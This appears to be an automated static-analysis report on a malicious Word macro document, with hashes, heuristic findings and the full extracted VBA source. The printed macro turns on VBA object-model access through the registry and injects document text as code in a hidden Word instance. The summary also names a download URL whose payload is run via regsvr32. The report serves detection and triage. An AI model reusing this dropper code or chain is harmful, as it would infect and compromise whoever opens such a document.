Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5af181064d9e2314…

MALICIOUS

Office (OOXML)

42.7 KB Created: 2021-06-07 10:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: c2dc264d73504a179cca1eec14d5c359 SHA-1: b1a79fdd3d885fe05c91b6ae0b4c81aca0fab22b SHA-256: 5af181064d9e2314fa36e26a19d40af5067f2f7373ed06a085111ffb6484274c
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro triggers the 'download' subroutine, which fetches a file from 'http://frogretail2016b.com/adda/xGyGl5T4vhzzmLIpNuSh6Wbpa4dxjm3Rn/31025/M4talVI5VZ1jwP8azygw4K7IswVAJrotlDL/coc1?time=bYDwcp9SC5iYgWFzvrmRazX&time=yUE4LCESFTtbQtqsqznGXTFi&time=hQB66', saves it as 'c:\programdata\arrStructTemp.jpg', and then executes it using 'regsvr32'. The script also modifies a registry key to enable VBA object model access.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub globalFuncClass()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & namespaceWindowTemp & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub nextTableWindow(arrMemory)
Set rightClearFunc = CreateObject("word.application")
With rightClearFunc.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "captionValueResponse"
Sub autoopen()
globalFuncClass
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://frogretail2016b.com/adda/xGyGl5T4vhzzmLIpNuSh6Wbpa4dxjm3Rn/31025/M4talVI5VZ1jwP8azygw4K7IswVAJrotlDL/coc1?time=bYDwcp9SC5iYgWFzvrmRazX&time=yUE4LCESFTtbQtqsqznGXTFi&time=hQB66 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1081 bytes
SHA-256: 53574a8f9621c973907a93f6594eeee72e44682b58fe8a0c30ab1d62251e23ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "captionValueResponse"
Sub autoopen()
globalFuncClass
arrMemory = ActiveDocument.Range.Text
arrMemory = Mid(arrMemory, 2, Len(arrMemory))
nextTableWindow arrMemory
End Sub
Sub nextTableWindow(arrMemory)
Set rightClearFunc = CreateObject("word.application")
With rightClearFunc.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString arrMemory
End With
rightClearFunc.Visible = False
rightClearFunc.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function namespaceWindowTemp()
namespaceWindowTemp = Application.Version
End Function
Sub globalFuncClass()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & namespaceWindowTemp & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 9c90a4b1c371937aef028285a7bcfee9d8fa68ff51c8eeea407b4045ab21e2df

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